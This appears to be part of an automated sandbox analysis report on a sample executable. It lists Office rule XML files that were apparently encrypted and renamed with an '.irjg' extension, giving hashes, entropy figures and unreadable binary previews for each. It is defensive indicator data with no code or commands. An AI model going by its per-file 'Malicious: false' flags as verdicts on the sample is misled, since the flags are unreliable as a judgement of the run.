SHA-512:	75B6B14EFA05F8A26CFAED34FDED19DBBFEBD2FB9A99F7F3FD70B208576E9F95D0675581735C872EA80378075FACC1D32143A7F249F811B76184334D29EEFEC3
Malicious:	false
Preview:	<?xml.......mm.._3<..B<..4kb.w..c...n..l.~.MN........q...K'..j.B.....}VH.F.ET.A.-.....`..n.....Y#.cB...b....'....x.\|......8."=..h...J..w..M....T.V.....Uk...@E....JkS.2..64..IK.i.0....E2..VD......[.o.qeF}.W.......:. 6k..u...,_=...p..2...#R.BaE.....#.C.uL..<DI..P.R[,.-...D.$%......`....!.qV..)...%.^..a..A/$...s...u....l(m......c...e..6..&.H....].W.zLi........S\|V.h.#w.R..c..Xw6#.#....J.&...&m..R.L _..........XH(...8...04..F...c...c...1`..0.n..".'.....2....x.]@.u....d.c!;.A..[k...A:Q.."....9.......4+~.2M.d+.&\|.}Z...{r..A..3.t......p1........f....Q...mq.GQ..3e..BZ...]I.(...3...d.@4).".....t..X.`S..U)h4..c.gh...^._i.r........bv\7.........-.p....!m..YW..Z..M..\....ni}.n..}.l......U.J5.*k..U..TE..(.!....?.....s.:....c].Bk..o.Y_.@.6..C.j....n..p.X......$M..\..m`o....U\\|.....o.....a.;.#.....x..54.....G.RK~...]....K~ .B._Z\|K....0?..5.&U....L.A.V..D.J..).=.0...20.^[)...:..."..."U.F..-.@&Q.F.R..Zw.;_.3}9I.4..F......E.6......./w...1&..GNi5...."...4I.3

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.737781887718425
Encrypted:	false
SSDEEP:	24:K+dGekslY4Q1dk/rhXlP3V8HLFYPuGeURmI6fY9pbD:KsaOY4QY/l13mhIu8RmcJD
MD5:	E79C5ED11BCD51A84CE171971E7E8C66
SHA1:	B5536E6B6B8921F1460B97BD6A16654786ABD156
SHA-256:	FF95088CD0C21D3749E8707214919D5C5235D8D678CA2E3D2D27A97D9FB227EE
SHA-512:	1D2855071945219492651898950883E6278F7E38000575AC9BEE11E01F86BA3094588D68CA7247F15EA70AC093ED497671AE92BDA6F000336BDB20B64DD52DB4
Malicious:	false
Preview:	<?xml.......wZ..7..D$d..iaO....2.p.?.......i..%/..R.....#.........AR\l.{g8(...nns.O.....ni...L."....j.D...o.s.ju..`92.....6....z.I..'..w...(vq.ztu.`H..R]..$..........Vm.!$...a..."L.0....3.......s....L...k!..x....4Pa.P..{?a..d.VxgB..hn(..B"q..N.2.}...^.\.........9..3?Y...)_+i....\|.@....2.D..G.."'"%....F4.'......E....M P.....7Kg....Pn'...h.g.h.0......U(..n.j@.=@..l...~(].;P..1...@....7...p...:x\|.M .b.....v1.....)D.`4...o...#{.(n.n K&.t..g.E.......L..S.....E^9'F.A.,...T.A...:..0.w{7.3e.j.4q.98...eM......=...E.7#........G.`d.........}.7.Y2......v.........D.D.5..X.o..u%88.`Q6.}...B..._.lZ..3#1.#..._..E".;..]...jZ...4O.A.t....l.....!..[..@QR..C.H.j .j.2..E.0.F..#.!"...-...qa%.Xp.........o<G...R.?.~.f..q.a..*..2.[U+............B[.5.g.%C$T......8.....=Z>.^.aHqP...O.\H3.....Ym.T.d...Q(#......0.V...:.h.).]:./.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.827481715007433
Encrypted:	false
SSDEEP:	24:IYiF/WH7aGFDbCKls90+cC2ug0ZxFgljspoQ6M9pbD:I+WGFHlQ0+cYg0ZSW6iJD
MD5:	318EAE75954DC98E3460DFF698A5D4DA
SHA1:	E100E174F11CE78F9DC5A7E995EAAF1DD4203AFB
SHA-256:	28E4C10367B8A69F1E6467FE3BE31B4A77B8CC7B903AE8C6A39135A9CEEC0A66
SHA-512:	E14D733BDF78208ACC55C992C5EE650E1403E4026B56CAB9FA819ACF6E7CC501A03C5A4574A70B856C71703157080B0C60116D73C95D77D7C7EE7A8B7BC0598C
Malicious:	false
Preview:	<?xml...."..Ph.8.d...gh../..Hd(..V...1..7...E...~...".......P.pR./.';.~Y.=..7^:.Y...................H..r.R.....,...`.7.o4.$.\|.gD..+i.Y".tjb.434.(.nSmo...T_...._.G...Qqd..J.yA.,~.F.x....K...E.j......ry..'..\|....D...RDo.~...W..eUjX...Sm.....dk...5..@..pk.."%......:.....zp.<.S] ./..9..z._.&i7.>..h.G.'.J..7u....1A...q...........C...}...g..`........U..v.p.%..X.,!....W...M.]..v[#.....K..A...Ib...!.)Q..}u;Y...,.,.l~...wV......(7........3..i..-Z..d.4......clYM.........+..<.#m'.dj.C:.N....m...\|d..{;....,....@g.P..........}I&L.Q.p..#......j.{JU..cA.2?.o.7.N^yO2.8...!~...-.]IT.E....s...Ex...V......e.Q.i.a..6...6..w"..._.q-.Pr....^.h.tGn...R).<+I....M.)'....y.....{.&.0o.Z.0.......?[Y.L$.J...n~..r....}.....Vb.n.D..[.P.:.mP__.!.K..:.L..-..[._.n.W......eR..]\.hS.....3.j6H.).....w....9.e.au..3...e.J"..B....\&..-...+.%..%.._.8.@.Ls[J.V&.B.....E.?~.......g}..]...mz4.Qy...Iw`xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.927389543521544
Encrypted:	false
SSDEEP:	48:wQjKVWi43GTxDW33V4AnApmr6jTeUSM290fMMyzpW1Wxz1JD:wQ2r5gFZnApReUSM290fkUMv
MD5:	4EE3241E793987208D6F707E0A319F75
SHA1:	9D7C28C282BC351E5C51B47B5F71DC75700CBC63
SHA-256:	AF1902CE1C46BF9F364D36882A06794827BBDA3626EE0B16BB7770BA2BA7E599
SHA-512:	140587FABE546D3129CCCCC0A9A03EFA8EACFE0F35CEEA6CF398C3228F464B4CC532032D844413C524C00D2D8E779C09B1CA1C84A6AF617703B241436D0678D6
Malicious:	false
Preview:	<?xmlQ..rT(..2../.vt.x...d......6..j+.?$....kSK._U......G....^:..6.9.>....6xf..CX..IX.v..Oe........8.A/#...#_..)$..{..5......KU.Ke4...$.......3....[.T.b.Ml....'W.'.J.9.8..u....[..._....Ba<........R....Pe0....8...}./Y-hG.h..f+...2x.....-T...?..x.C..0.m..HL.c/....I......Dx........Wl.. v......G..2.o.]..j._.f....O.n._a;.....f...s.%..{3...;.}....;.8.9..TB...9$.t._S...).z...........L...............!v.Z.:...Ww7bz......T.hyWLu8(.1hH.\|..}_..X..G..2.s.~v.g@..G...I..v....m.7uU.t]B...........7k. .4jz..P.L....&c........Q,2...)Y../..S......... H.....$F..!#}...}P.Q.+....=$..._...B..4.%...dskW:$..f.m(P...1..l.@.M..$^...g.Hs.b.r.......2.bI.tp.t....I..>$..^.....R.@..Dt.$=.S...`. .'r...t.~.@.O.......Vs...B...0..{./&5......aH.$Q.S...k\|..e...H.(^...q.Y.[T.k.....+!.....]........:..n....&....@~.W.w..9.i..;TV..E..T.............z............OB".ey..._.Ib....t-.p<...... D8&(+[...+.......-L.yg..... _..iNd1..p...?4k.t.......n.H/F.m..w.<....8'z'(....h]2\d..P..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.878061887110829
Encrypted:	false
SSDEEP:	48:EURlELCmFyQyiLLpg0PiubQOT2drX5RSz0g8iPJD:llELT8QrLRbbQiS5RSz0g8C
MD5:	72A4AF56FAA693D07A94953B49303BB1
SHA1:	7F4D91E262FC2FA0B22B11E7D2D098A649E4E308
SHA-256:	96AED24BCC76243C172A9FDA674DD3DD300BA17B283F4C71E6641CBDD7857C50
SHA-512:	6A94374132CAFF0F201D33C4BB45B4E01927C1367D5A9A4A3DAA58B6CC42EA9598A363014230B2FA70BF8616090BF46CF0598A95B6EAD37599F2977B90B89DFB
Malicious:	false
Preview:	<?xml...~.?....K3..&...@...y.....Q!6#...[...Wd.......^#.xs...+..Y.u...P..s...8H..mG#..~.a8)RY...z.3!.a.O6".. ..on..-N.u&Q._..:. .B..2...]{.e.M._.:)....t.s.S.....n.F.&..\...........J+1x..k.}9.......H....Y.e......q@..v.%.m..o..!.U.FC...P4.p(...b;.y..0D...Y...>.t.).u...i.......2...5....v......9!."..d=....".m...d.h..2;.l..s4..G.....o.f.q.aC.G.y.e.>...F.!.K..,H.(}..Q.......C,.....P........E..M....{)n..k..h.J}..80c....x.+.o.:k..k/..K.......}.n......B..`S.}.h....K..N...S.\....Q..SE....6..r<.nP.....Q......wx./...f.g.s.s.5..:.i.B..1...o.R..+J...Br.v_..,=i.y..".!.....3..v..).1b\|..We.....23>....2......q....?*k........<.mW..._:6P..?.A..[N..e........G...C...m.F.V...X&k.t.@y. cO1`.Z+..r.u..r6..B.....3\|m.2..TI$.2...a:/.I..d.....,...i..p...&.r.(T~5.a+.&.Q.:.G....#...6P. .`......... ..K.vE....m.c..gu...qh.....).X.e4..y.D .$..6H..?c.$K2.9).<O....;\Tz...=._.#9..b...p..;..v .`M.QJ...rV.....I....}.o..J.. .!...,d..Ds../....C....Qs....64.?.. n...N.k}{.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.752662189306829
Encrypted:	false
SSDEEP:	24:SG4BAXv8jpAR6EP0sjNfnhuYo3lOiMC5y9pbD:SG4qXkjeMsjNfw/3lO3C+JD
MD5:	C8783B77C233094DB5421A19EFAA722A
SHA1:	1E53A51B4DD820A0495836A4BD5D3436111FEFD5
SHA-256:	65707F55F333DE97D99C8B703DC299D63F3B1745816C625BE773E94BB3223393
SHA-512:	174FBA7524A7D33214CB15AD9BF606BA6FD6B468B4AD340572734027B90764B72D8B3B9BD5B492A68001F33D1D02BC5397548E619BEE73D0B052E6B3B7325515
Malicious:	false
Preview:	<?xml....6.n......B..ATp.YC...L\.&...........+z......k....,.b.h..fN....../....ji....4T.:1....6 L'.....C.........V.O#w..2.y_.....Lm@t}..6..u.?..fy.S9..t)\|..x.....SH..a...ERL.<U...E.NUf7.eT..F.mK...QS\.0..}G..H....k....+...@.M.F.......B.....eE.g..r.\.s.7P..).%...]...d....K......u,D.......-~[..F...Y..b...I..Jv..!......`.@...7...q...x.%H.......Y;k..Mx%..S.(.....dL....O...!...l4.!X......^.l.Q....e....m...v.S..e...?.`.=A...C6.g...-qS.9@QA..%.......{w.]..l.C.=.v..~.6....2..\)........QnnK..=.c.....E.Z..c.v..g...Y.=..x..)}q..As515M9.z.#e..@.Z..}0g.......<)..>........=E..G..a..46.8x..{...@.i.t...4...F...@.S4.2~._L...}..-......B...p.t.m%.....neL=.]..f.......^%.u.`....3#.Q.._..&H..$4U%.!"A..f.t.o..8T9U.C#.>/.7[!...f..x...D...`}E..........!../?n...O.Sdg2,.v^O.p$.m.d.ug..mV.8....p..%xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.7791676799433365
Encrypted:	false
SSDEEP:	24:Ie+7X8J8wyQBeGmz0TJ+zIr/dqfPjwj5ch28rs8JHW9pbD:Ie+7X8JWaW00kr/QPUjmlJoJD
MD5:	9668F5214C8986DDC497943345FDEB69
SHA1:	736B1B5F6147C6D7DA8E305F2E1C537AFFD78BAA
SHA-256:	750739DA01581D147D566F03D13DECEAAA9A14BC9AF9607D261D83C9323DCC81
SHA-512:	77B0777D15C56EEFE9E4CA0EF019AA8252E9AEDF8521F32B58EE2CEC0964DBE1F489F02D7996E4429DB2B1EEE50F13AAA0056891270DCD9351834741657C3734
Malicious:	false
Preview:	<?xml\..e2q...&.}CHV.$G...Sa~3..d.......B6K..X...'T%d.ki.m.l.(W,.\|.9.L.r......pr.Y....l:.v....$._xX.S.Ew..1"y../...4...)....}....C>I>...1.an...........B..W.JD.)g..7.......C..d.....Q....+.x.J.e.\....L.._....N...FU?7h............F....h.t........Y.wU...]X6..j.R^....@....q..K$M...+.~.I..3>.....z.....w,.#'Z.oBg.'.....j..#...`aw..6.... {. a.....Zv..X!..:tJ`...n..].,+/.]VXHQ.)."J\|v..&..{s?.Y..z..F4..2.Q....>..N.yw%HwG.W.h._....I...&.q.@.....C.c.:.........sd.....'wR....t....{0...^q.8.O...8..'.?....$p...`.......o..}t.}........c.-;0X.w... ...g..V....'OV..D..>...x6.../.c..z......cE.....8.j...@.B.rcp.MS+3..c..8;`9...J<......r.b....o.7...HM.m}hWT!..E........<xR.Y\...\|...;..b8~..!.%...(. 8.':..!..c..Q.4.....*..@..D..v;...4.1W.....[~.R.>....P..Kn..3....`.x=.#D.(.....{.. }.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.768244431114826
Encrypted:	false
SSDEEP:	24:sR/PhHGt1+20mFT1w0BuOqrkt67mLfqWGT859pbD:E/PQt90mt1HuOqdGdjJD
MD5:	D9215E0C77CC92DBB5D5BACEA1BFE65E
SHA1:	C33710346F325EA9BC34A357F3EDE268CD35ADBA
SHA-256:	1505F556B4B14C2C612BB998DC3857937A0D58241BA3EEB4C63034AAE447C1D6
SHA-512:	26F4D8BB280652C225F5EEC2434DECE87AE4CCA13334ABA21BEE70F93D0EEAD4E92D6F73202610866641CAA3B7539F3769ACA26103A8FFA8533B0E6555EA1D96
Malicious:	false
Preview:	<?xml7..W..d..wL`..&.C...F:IT...;.q:....^..0iY.. ....##K[:...[.....S.f..(.f....~..u.f........].#+}....)....[.S..RXH...n.5...;u.".....6.}j..6...vB<....n..Inro.g"1....I.@....-...qD..].LTj..n..e=....u.U.6..`...AG.V_.F....1.'8A.i.t.(O..8N....Gp..........~.....[..'.m.....`s.d.p.....[.I.G&.%~.QT..~!..DU.S.....A..!Ff./A..k...i.{.U.Ps"...P......TU..ReF.Mv..m.!.a..on.).mG.C.[p.d.0.....>=.A...X..Y].....q8........./.(...../....?..fx.N..<..om^.'WXw...(m0..../.q..j..]. .x..Q.5...p3.`.......\.<.:+.V.S.,.Qu..g6d.7....8..h..N=k..m.X.Y..D$.{\|..U8(.v......S.G..R....\....~{.m..@.....}.B....wC..@Uk.3J..........z.p...8...v.1......j...xjv.R.j...#jb'.!..'"t..n]...>...(.....N.l..}.O6.~{..2.&1......EH9Cp. .4.#4.O."0.7#9..H].`...-....F../P.s.k#........*B....0[e....#......%q..wWDQi....`C.....k}."..)..g..4 #....{....N%W..9u-t..{Q/.....bbA.!!:...t..[.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.607843778396696
Encrypted:	false
SSDEEP:	12:pXWb0MdwSvFsr1G2Gkfd9gVEUeHFZdh0nf3+M/mR2Wfgg9M2cii9a:pGHCrclIdeKHFRYfOM/cVgg9pbD
MD5:	075EF506FEAABE91954E088E4775C36A
SHA1:	F6C9F4BF25B55D908FF0DB5426A17ACFFABCE792
SHA-256:	F4D76A456C087429B9A947BD19114787145FDD8A51E4728668767D8BA69A339F
SHA-512:	F1CDF5ED28D406CDCD3C6709DCED3C2EC91BE83D412B8B05B8FD6EFB8DCA1351042C678002C6037BD504440043510F62DC2205841A8DEFF86F5BBADCA5EA848B
Malicious:	false
Preview:	<?xmlZ.A..6..^...C)H.&....r...^.@....n.-I....z.=V..~..WJ..1..8djKE5........r[...#.(.I.a.c...Q..b.S.....co.qY.><q...~.d..~R.../..T.jI...IZ..q.Dz#7n..c.yd.N...d...\..\......Vr...z..GX......s..Q...@.....f..W.....t.........J2aQ....p.\|L.Ft..E..K%.bm...A<b...:...F.r...f.z.eX<.9@..s.I#.H.9.C.....ICM;...3q....'.i.6..-.H.>{`....>`m7..v..W.6~.N?....nE.y....WV...;..e4:.._......~jn4..FD.-....<...H.2..G.}..S.m9........0.@.......i.OQ...y.`..Q.y..q.z...C.Xd..#..q....T.O^...*.....V.....%...W.i......../.>P...s.L...m....er..3%.@...V..:..Q...T..S~.n\|O..8..z..9.`....V5....S.Y..d.y..).!.eM.....h.........<.&.[nxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.768631073933643
Encrypted:	false
SSDEEP:	24:gnrfUftmDMcfTqTlDsvPsNMUwcI5B/0TOJV0z9pbD:gwVjc2TlDKPsmDs805JD
MD5:	EBE996ED0E3D2D73D6D284D93E46DE64
SHA1:	84341DD82B27B74066BDFE21347D34177633F16A
SHA-256:	BBAE02348172C3F712BC06267CB1482269D42470A20B70DA38757512ABD1DF8B
SHA-512:	22E85C86C1A26B6FAE590F5975CE13C51A579B5155611B64344F11E81EDE86C3A3237CAB5FE4E23969F87B0C6480D3873D5EECD8A3F3491DDB976414848F598C
Malicious:	false
Preview:	<?xml....@.+..kd...8..Jq6.'...dK'.).V.. .\[.D....>.e@...._%.9#>._........0}]E.R)...7.c..l..v..v..%Z...p...eP.p.+....G.p..$M....H\|{7.s.V(..>.V..c......."d>=c...mw~.......F.f.B..E.J+kK.v....-..bg..z.}.\|.E......]1.F=.p..bh.]/.....+.(}..hj.w....>....Qe o:/E.M..~[...#../.....x.)._4.\|..A.M.....b..~.&V`...J,..1.lG7.D....U.w.4..{....O..t'Q.+H..{8.......tY.ssju,.$.c.z....k$.m'~..y..@.<...O...;.%...OU...I?..a\|.k.]....ca.......LG..,;^.Rc...E$...7.'....f.[/...A....P.VJ.3..r...........,T.8.Q...8.s..P..z<.....[.....`.b!.....gVi.r...Fj..aM.TH...5E.....L`..."Z..N....o.......L..b..W....i\|..q.c....<.@....V.K.T.Z...3Yq..U.B.s.8oaX.t.IV.q...\|.1P0f06.+B.!.(........j-+O.w.K.EGc8S...b..[..{u).]..<%.. ....\|..X2.i..M.p~..@....5..zoc...h..M.d=..'/.S.=01s~.I..#.Huo.W/\|1..(...?m.R...5d....a..1.!Q..ltM.....q.l...xC.e..O..Z.f#,o.....{pM..f1..~]g.....%....F.L.....P.s.~N......n..!r.Dad..7..+....*@..B....1(G....(...]N.b...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.832558349802887
Encrypted:	false
SSDEEP:	24:a1sdECMDnxIM4HNVZBjABO3sKhXPA6j4Ps/zUAU9pbD:GM7yIMENVZuBly/A6jUb/JD
MD5:	6E6EF5BCB1E68F26B64250444DE2ABD1
SHA1:	863F533CED9E52CA50B5482358E978AA0AB907E2
SHA-256:	AE62B24E28FA544D3DDDBF8358521352141F962DCA4484A1C2CC5DFD1E4B6D7D
SHA-512:	6A6F38BA2C94F5D274C3971C9CE2C7BD9AC0163599682E087C053784F26D9514017F1F6BE6FA1A2CACFAA68743FDD73BE4EC537B98561BCA235DCE52D28A9D20
Malicious:	false
Preview:	<?xml.^.).\..P..Y5.U.....}.&...\|....>Z.....n..%.K.;..........,.......Uyn.Z!...M..s..1..=.....331..<=...\|s \.....d."..r%.2U..=.w..{..{.\|....By....~.,x.!...7sTN._...p.....u.........u...p.Kay".l........}9BJ".mkd.]y....b}..#.^.~.....V.\|E~...Y..2.j..m..........A.....E.gb..F.;.....}q=.......g...i.I....!..o.R...u..d@..1N... .e.}8u..U...N..t..$.ds0RUf.y..>.J.c..&...]....F=.`........[..b.]A.KU@if)...0u..>%{5.R........V..:.3EZ.7...H...nTv<al.C...6a.l...].'...J.=....q.?^J..tz...y.{...:8..[..P..$.J ....U.../.....h..o...T..{..9.P..G...!h..5..."...^..N)".\|j6...^..X.M.h.-...i.D[...:.FX.3..?P.......M5.............G_=.6n.q.l.{I@..J~.../_.\|v.Y(8..ph.7.V.]...V.xy..[b....[..@;_.qn.w..F..W.-.7j..h6T!.V&...jZ...K.J......=.\|..sX.d.[.@}'.#.).O.d.t...Q...R..]4D.Q...v4....0Y.C.I..sD\|......;.].T.M.f...:...@ET......$3MF..w....F...<VU.#..f...c.d..7.V#lL'....r.S^....:O..8.U0n......`~...#s.....T.X:.}G.A.i.......tv-.....L.......Vj..b.B!l....)[....f....U.. {3....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.8692090346950465
Encrypted:	false
SSDEEP:	24:hQG3L2uu3L4mAbysk+iPUVqXYgO9gdNvTxmPyNmJzfp5ZuemmB9gZNh/FOJ9pbD:z3L2uu3L4mAbysk+CUVqBOqvdZN4zp5f
MD5:	BF14221C0AEAFB0EFD05468CA0A698F6
SHA1:	9D1F1F5230A8C592B09E8EC7DC136ED46494B74D
SHA-256:	1D92CC38F65A00D208CBB94C01FB546E9BAE042818BEA19533B63E70985DC55E
SHA-512:	DBCF9F065FDF4B4631FB615DA6A815DC1E567EE7950BCFFB9E124E808C8629F5802AF7CB92F32D5EB926B059B8B4CE3D39147BB5BD71FA503853D4F625AD7FD6
Malicious:	false
Preview:	<?xml8....o...(...-.f.U.4.q`....<r/.7.w.....3..Q.._..\|...ir.k.N.. cl...6o>q_.W<.nR.%.h..mTz..y...Rd.S..8.......sa..q...j..\k..J.k!.i....Ly;.k...dm....q......c.....h..k...H..k...Qw.[#!&.t.L.......e..Z..... ...PX.iw3..s@yd0.7.P......e%....ff=..6e....e...ANy-\|_.O[.o.(...L...<<...8....H...c12L..+_] ..s.....z!..J.]<...@.b.D.{c.)~...LY.....~9\|i..I6.I!...v....;.I0.'....\C...w.g>.@Z..3..K.(.Y.0....O.1%..?.M=.n.c....b.nF....H[. 7...W.vV.@"... f.&.f..[.p...`.Q..b.........R%.`d.^...q$.?t(..vC.ru.......&[?...$)-.....0XZ..^...'0E...n*..g.V[i..Xs\|..(.%p....k...Q.\|...#..hv]..{...l..>.0.Ro.K.......p....... ..8..Q.ZW.2..s....".aGZ1.......h]20....&..\......P6=.C...4E...^wl.....8..E..........<S..[....l...._.:...^.l......u...1........oaJ.....\|.e.d..nc.T.1g.R..'n.0AG.=....x..u.tQT.....b.......K..:....i.w.`_a...CUD..f.....]...P...}=.\s..l.%...{!-....M.%1.`.E.p...g[B#.f..6.3........Te.%m.QL6F23....e.O7.~0.......v......Z....._.V..}.[...V.R...".j.El.5....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.802794238937336
Encrypted:	false
SSDEEP:	24:tFaJRB1eaVuxPZsWonlxVCnGpHF9HoAYY9pbD:yV1ea4PolxVCnGTRYuJD
MD5:	DB137831C25DEBF7E398A193E0C1D11A
SHA1:	CD748DA281EE78D909F52368FD99D8116CD977DD
SHA-256:	B266C78893A12FA71C81AFC9AABF8DDDFA299D1116D4A384DDE285349F9098B2
SHA-512:	E8818609FB9DB91158E429F21CC4829867D11F117566F6179A6F3942CEC0F66C2BE73913BBAB47AC5C70B51ACABE29DA049FDFFC974B7223205BFCFEDE41E007
Malicious:	false
Preview:	<?xmlR...h.+....S.%..l....z}...J........-..=TJ..#..k9c....z........`.2p.......\|...L..!.>5.;......B..I ..p.....q...9..L..@<>V..&.......GC.J<EVA...d..T^..T.'Ab..SI.\|..J......\|..\|.q\|...c$L.../...kR.P..S.......%.....K....\.....q'X.a.f8Z.).~.d=>=.Z1T.M:\....j&Zc.......c.....>W......S?1..d....b=k..y....Jv..b0....KX.........6NY.h..s?......=....N9...G./.i+..\...W..U.3."....%......W.i...Y{.....oqp....G...K_....0.[q.0.v../~...$4...y64P.K;...-.....c..V/..!3.[.JY.?.^....a.P..U7....,.X...xG..y.Su?.A[.}k.Z.....b.pHw4.9.di..}eU."tz..8.}cu[.j...8!9:...".5.E....=..../k8.....[.......B...._..2<S.Mz...}^}/...7...X.5......R..+..jK...G.".......^.`.......y.7."..m.^.I#......\..3...Z.....%.S..[....G...k..Zwp.`w........m..9{.W.%a.4.._..s.'.....iS<./....A.....,18.Q.....&..^.&.m.R...3.F..6..y.f..`A.v.w.......tW...>..i...,.b.#.....a.p..q...p.pOC.U)...ZZ}n..M}..t.!zx}<2r."BQ@........H........!(gs..i.. ....9.....$.#4.\.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{3

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.776000711597867
Encrypted:	false
SSDEEP:	24:2eQ0/yECFRyXGyJwxO4hed/8huNkG6h9pbD:y0/pCFRyXXCO4heh8PG6LJD
MD5:	6515D5E55B99BC87D093F8002333A13F
SHA1:	2EF1C0CB393858F24DB8C49CF5998C363DCA546C
SHA-256:	2E1EB09D5A58A8C098E1E43088D72A4E3A2041EA850CB75CBEBC40E4E71BB0A2
SHA-512:	1E75DB14D11C9F7E5D3F19F3E6AB8D177C0E16655E5238B791C9F05DFB7E46757A0F6805FAD719A4B2CE9F55D941BFF2DC0496A6B2762D55A8E9FB5EA4B2C641
Malicious:	false
Preview:	<?xml.V...........x......Q=..-....#.D0.Yw.m.M...S..wtW....t..&1....7.;.,.e.+.e..2..-....r.../@.!.~=r..Z?...n.a%....vf...@)U.....Z...2C..-.2L3]..c.....W.._.=..l...J..4.9..A.c.iR..vi.........U.....XL..]...8.$.!..7......)..G..R.l...Ydc....I..8...ML.).u."...........;....o....v9..7]#(..nJ...;1O.OV8..f...Y.&...}5.6..5..t....@Y.;.40.P....Z....zr..p=..5..[....TF..........i.=..HsUy....L.Fi..2..."N.S.}...j.-.S\|.........R.C....^V%.hd"I0.e..P..i./..5..WB...........Uw.&......-3..B..g.jQ.}.TE.......cpp.0...n.v.....O..P..u...........X.f..A../.42f<...I..Xm...._.......S....A=.Dj6..C...F.?.E.6..W...k4....+V..b...S....{r..4...!.dU4nE.......Q.`.,.4..$/..a..?{...d...\.%....L05U....q.u..i{}..)...:R.. ...B45........r...L....'.{6,g.D.}..!....p...!._..a.8(......"U....#...;!.....'.oT..n.)T..O..$.d(..$&........%..$.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170040v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.705718832225978
Encrypted:	false
SSDEEP:	12:j3S+QxmmSY06Y7lLzqsl3Adkgbsr6v5lxkTQTLiSzAlmi56NziAPVIt9M2cii9a:j3rQxUY0DlXskg4rGlxkqLiCA0VN1y9h
MD5:	1DCA16803EEB5AC844B16507F1F32C04
SHA1:	AF1BFDB6312CF3466BC7E06E3AF0B7ABA880A8A7
SHA-256:	D667E2A045FD0092FF94E6F510DF0597C00A0C72D7DCCED6F1D32797EB75AFF2
SHA-512:	7A5228343D54EE01DBFB9FD765496DCC81B37C9D1968B7EE0CE7EF1FFC93A5FC501B2BD9594629764D4385C5A9472E05B98470724A9BD45B89AE96FECF55DF62
Malicious:	false
